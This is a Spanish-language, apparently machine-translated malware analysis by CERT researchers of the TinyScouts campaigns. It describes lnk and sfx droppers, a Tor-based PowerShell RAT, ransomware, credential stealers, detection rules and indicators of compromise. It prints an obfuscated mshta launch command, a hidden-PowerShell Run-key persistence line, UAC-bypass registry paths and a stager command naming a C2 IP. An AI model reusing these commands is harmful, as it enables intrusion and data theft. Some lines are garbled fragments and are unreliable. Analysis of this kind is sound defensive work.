Se destacaron dos aspectos de las actividades del grupo: primero, el alto nivel de habilidades técnicas de los atacantes, y segundo, la variabilidad del escenario del ataque. Si no eres interesante como víctima, robarán contraseñas y cifrarán datos, pero si tu máquina está en un dominio interesante y tiene el potencial para un desarrollo de ataque más interesante, descargarán la Herramienta de administración remota (RAT) escrita en PowerShell. Nombramos la agrupación TinyScouts después de los nombres de las funciones del código malicioso. En este artículo, le informaremos sobre sus dos últimas campañas, que se pueden dividir condicionalmente por meses: julio y agosto de 2020, y haremos un análisis completo de las herramientas y scripts de TinyScouts.
Campaña de julio. Descarga directa
En julio, el malware se distribuyó en forma de un archivo lnk que ejecutaba el siguiente comando:
%comspec% /v /c set m=m^s^h^ta && set a=AKT-F^inAudit^Service.^docx.l^nk && if exist "!cd!\!a!" (!m! "!cd!\!a!") else (!m! !temp!\Temp1_^^.z^ip\!a!)Como resultado de ejecutar mshta.exe, se ejecutó el script JS ofuscado. Su tarea es extraer un documento del cuerpo del archivo lnk para distraerse, abrirlo mediante rundll32.exe y ejecutar el comando de PowerShell ofuscado. A continuación se muestra un fragmento del script después de la desofuscación:
El script en la variable toexecute carga y ejecuta otro script de PowerShell ofuscado llamado Decide (solicitud para decide.php). A continuación se muestra un ejemplo de ofuscación:
La tarea de este script es verificar que la computadora cumpla con algunos parámetros y descargar la siguiente carga de los servidores. A continuación, se muestra un fragmento del código desofuscado:
Se comprueba la presencia de TeamViewer, sesiones RDP y el hecho de iniciar sesión en el dominio para determinar qué carga necesita descargarse. En el caso de un sistema "interesante", se carga la RAT, de lo contrario, el ransomware. En ambos casos, estos son scripts ofuscados en varias capas.
Campaña de agosto (en curso). Servicios ocultos Tor
A principios de agosto, el esquema de distribución cambió: ahora las cartas contenían un enlace para descargar el archivo sfx, que contiene 4 archivos:
- document.doc. Un documento que se abre para distraerse y no tiene una carga útil maliciosa.
- 7za.exe. 7z - archivador.
- wget.exe. La utilidad wget original.
- Servicio. JS script Stager 1
Al iniciar el archivo sfx, se llevan a cabo las siguientes acciones:
1) document.doc se abre
2) usando wget y 7z, TOR y node.exe se descargan y descomprimen de los siguientes enlaces:
www.torproject.org/dist/torbrowser/9.5.1/tor- win32-0.4.3.5.zip
nodejs.org/dist/latest-carbon/win-x86/node.exe
3) utilizando node.exe, se inicia el script Stager 1:
C: \ Windows \ System32 \ cmd.exe "/ c si no existe nombre de host (servicio de nodo 192.248 [.] 165.254)
A continuación se muestra el script del Stager 1 desofuscado:
El script de servicio recibe la dirección del servidor de control como argumento y, cuando se inicia, crea el servicio oculto TOR (https://2019.www.torproject.org/docs/onion-services). Vale la pena señalar que cuando se lanza el servicio TOR oculto, se genera su nombre (es similar al nombre de un recurso regular en la red TOR, por ejemplo, vkss134jshs22yl3li2ul.onion). A continuación, el script envía el nombre del servicio oculto generado al atacante y abre el servidor web local. Posteriormente, el atacante se comunica con el sistema infectado en el modo de solicitud / respuesta al servidor web (línea 19 en el código), donde las solicitudes contienen el código para la ejecución y las respuestas contienen los resultados.
Esta arquitectura permite que un atacante obtenga acceso a un sistema infectado, incluso si está detrás de NAT (la condición principal es la presencia de Internet), y hace innecesario conocer la dirección IP "blanca" de la víctima.
La primera solicitud al servidor web elevado llega el script Decider, cuya tarea es determinar el hecho de que el equipo se une al dominio, así como obtener el nombre de usuario. Esta vez, no hay comprobaciones para TeamViewer y RDP:
después de que los resultados del script Decider se envían al atacante, llega una solicitud web al sistema infectado que contiene el ransomware o RAT, según el interés del atacante.
Módulos comunes en ambas campañas
Script de Stager 3
El script principal contiene 5 componentes codificados en base64:
- Encryptor ransomware
- Readme
- WebBrowserPassView
- Mail PassView
- Injector. , WebBrowserPassView Mail PassView svchost. RunPE.
Funciones del script de Stager 3 :
1) Iniciar el ransomware (función Get-Stuff)
A continuación se muestra un fragmento del código del script con el inicio del ransomware:
2) Omitir UAC (para eliminar instantáneas)
Hay tres técnicas en el código: usar csmtp.exe, CompMgmtLauncher.exe y fodhelper.exe. Puedes leer sobre ellos aquí , aquí y aquí .
3) Eliminando instantáneas
4) Lanzamiento de WebBrowserPassView y Mail PassView
Estas son utilidades de Nirsoft para extraer contraseñas de navegadores y clientes de correo electrónico, respectivamente.
5) Envío de informes de las utilidades antes mencionadas al servidor de gestión.
Antes del envío, los informes se cifran con el algoritmo RC4 con una clave generada (4 caracteres):
La clave en sí se coloca al principio del mensaje:
Encryptor ransomware
El mensaje Léame se ve así:
El cifrador es un archivo ejecutable .NET sin ninguna ofuscación. Los archivos se cifran con el algoritmo AES. Se genera una clave separada y un vector de inicialización para cada archivo, que luego se cifra con la clave pública RSA y se coloca en el archivo cifrado. La función principal del ransomware se muestra a continuación:
RATA
Este script tiene varias capas de ofuscación. Después del descifrado, puede ejecutar los siguientes comandos:
- borrar - auto-borrado
- exec : ejecutar un comando de PowerShell
- descargar - descargar el archivo
- set_wait_time - cambia la frecuencia de solicitud de comando
- update_tiny - actualizar RAT
- run_module : ejecuta un bloque de comandos de PowerShell
- add_persist_module : agregue un módulo de PowerShell al sistema que se ejecutará cada vez que se inicie la RAT.
- remote_persist_module : elimina un módulo de la lista de inicio de RAT.
La función de procesamiento de comandos deofuscated se muestra a continuación:
Método de fijación
Se utilizan dos teclas para anclar:
1) HKCU \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run. El siguiente comando se coloca en esta clave (la línea está desofuscada):
cmd /c PowerShell -windowstyle hidden -nop -c «iex (Get-ItemProperty -Path HKCU:\SOFTWARE\Microsoft\Windows -Name <client_id>»2) HKCU \ SOFTWARE \ Microsoft \ Windows. Aquí es donde se almacena el script en un valor llamado client_id. Por lo tanto, cuando el sistema se inicia, el comando de la tecla Ejecutar lee y ejecuta el script desde aquí.
client_id: una cadena del formato AppX + base64 (nombre de host + nombre de usuario + campaign_id)
La función de fijación tiene este aspecto:
Script descifrado que se coloca en Ejecutar:
debe tenerse en cuenta que el código de malware no se almacena ni en el disco ni en el registro: se carga de nuevo cada vez con el guión anterior.
Comando Add_persist_module
RAT tiene la capacidad de agregar módulos de PowerShell que se ejecutarán en cada inicio. Para esto, se usa una clave de registro separada, que almacena identificadores de módulo. Durante el inicio, se comprueba esta clave y el malware realiza una solicitud al servidor, descargando todos los módulos por sus identificadores.
Cuando se lanza el malware, se inicia la función Load-AllPersistModules para lanzar todos los módulos agregados:
el código del módulo tampoco se almacena ni en discos ni en el registro, como el cuerpo principal de la RAT.
Interacciones del servidor
El código contiene la constante CampaignID, que se utiliza al registrar el RAT al inicio (función register-tiny) como clave de cifrado. El algoritmo de cifrado es RC4. Después de enviar la información primaria sobre el sistema, la respuesta del servidor contiene la clave de cifrado, que se utilizará en el futuro con el mismo algoritmo.
Aspectos técnicos del descubrimiento de datos de campañas
Respondiendo a la pregunta de cómo detectar esto o aquello, intentamos dividir todas las reglas en dos grandes grupos:
- detección de anomalías en todo el sistema,
- detección de anomalías para una empresa / familia / instrumento específico.
Detección de anomalías en todo el sistema
Interacción con servidores intermedios y n:
En la campaña de julio, en términos de detección y bloqueo de esta actividad, basta con agregar direcciones IP y nombres de dominio a las listas de bloqueo, sin olvidar monitorear los intentos de acceder a ellos.
En agosto, las empresas se volvieron más difíciles con el aspecto del descubrimiento de redes, y aquí vale la pena prestar atención a lo siguiente:
- Todavía podemos bloquear y eliminar algunas de las direcciones IP y nombres de dominio para monitorear;
- La presencia de actividad de red a través de TOR nos obliga a almacenar y actualizar dinámicamente las listas de direcciones IP involucradas en la construcción de esta red. Y aquí, para nosotros, la regla de detección puede ser una apelación a una dirección IP de la red TOR;
- , - ( Stager 1 ), SYN- TCP- . TOR Hidden Service . rendezvous point « » ( ) SYN- TCP- , .
Para ambas campañas, un conjunto de reglas IDS que tienen como objetivo detectar métodos específicos de PowerShell usados o su forma convertida en Base64 funcionará bastante bien.
Ejecución de código en el sistema de destino
Hay dos fuentes de eventos: Windows Audit y Sysmon.
Registro de bloques de scripts de PowerShell
El registro que contiene los registros de los scripts de PowerShell que se están ejecutando. Ubicado en la siguiente ruta: Registros de aplicaciones y servicios> Microsoft> Windows> Powershell> Operational.
Las reglas de detección, que están destinadas a detectar métodos específicos de PowerShell en uso, harán un buen trabajo al detectar la actividad de estas campañas.
Inicio del
proceso de registro de seguridad (o Sysmon) - 4648 (1)
Para detectar esta actividad, se requieren reglas clásicas de detección de anomalías en relación con los procesos padre -> hijo. Estos paquetes están bien rastreados durante el proceso de inicio en el host: md-> mshta, cmd-> powershell, mshta-> powershell, rar-> rundll32, node-> wmic
Además, la regla para rastrear parámetros sospechosos de procesos de inicio puede ayudar: powershell -e “base64 »
Conexión de red de proceso - 5156 (3)
La regla para detectar la conexión de red del proceso de PowerShell a direcciones IP blancas debería ayudar a detectar esta actividad.
Además, durante la campaña de agosto, las reglas para detectar el tráfico de proxy interno a 127.0.0.1 ayudarán mucho (esto es lo que hacen TOR y el servidor web local).
Entrada de registro - 4657 (13)
RAT escrito en PowerShell conserva su presencia a través de la rama de registro común HKCU \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run, lo que significa que la regla para monitorear registros a lo largo de esta ruta es nuestra opción.
Detección de intentos de eludir la tecnología UAC: cambios en las siguientes ramas del registro:
HKCU\Software\Classes\mscfile\shell\open\command, HKCU\Software\Classes\ms-settings\shell\open\command, HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ICM\CalibrationDetección de anomalías para una empresa / familia / instrumento específico
Ejecutar el código en el sistema de destino
Procesos de inicio - 4648 (1)
Aquí necesita una regla para rastrear los parámetros sospechosos de los procesos de inicio: C: \ Windows \ System32 \ cmd.exe "/ c si no existe nombre de host (servicio de nodo)
Escritura en el registro - 4657 (13 )
el RAT, escrito en PowerShell, también mantiene una presencia a través del registro de la sucursal HKCU \ SOFTWARE \ Microsoft \ Windows, y por lo tanto, para la detección, necesitamos realizar un seguimiento de los valores de registro «client_id» a lo largo de esta ruta.
Indicadores comprometidos:
a9a282a11a97669d96cce3feaeaaa13051d51880
8b20babe972f580f1b8f4aca4f7724f7866a595a
ba7b1f2a9feb6b5b0ebc15620b38f8311a67c017
2c687d52cc76990c08ec8638399f912df8fb72de
c19b68e4b1cb251db194e3c0b922e027f9040be3
a2d4b0914d164f2088130bee3cdcf4e5f4765c38
18a28811dbbcc97757091ddb3e3ab6982b0bbfc9
192.248.165[.]254
https[://]late-salad-2839.yriqwzjskbbg.workers[.]dev/raw_stat/stat_launch.php
https[://]late-salad-2839.yriqwzjskbbg.workers[.]dev/raw_stat/stat_fin.php
https[://]late-salad-2839.yriqwzjskbbg.workers[.]dev/web/index.php?r=bag
https[://]hello.tyvbxdobr0.workers[.]dev
https[://]curly-sound-d93e.ygrhxogxiogc.workers[.]dev
https[://]old-mud-23cb.tkbizulvc.workers[.]dev
https[://]odd-thunder-c853.tkbizulvc.workers.dev/
http[://]45.61.138[.]170Autores del puesto:
Igor Zalevsky, Jefe del Departamento de Investigación de Incidentes Cibernéticos de JSOC CERT
Asker Jamirze, Experto en Investigación Técnica del Departamento de JSOC CERT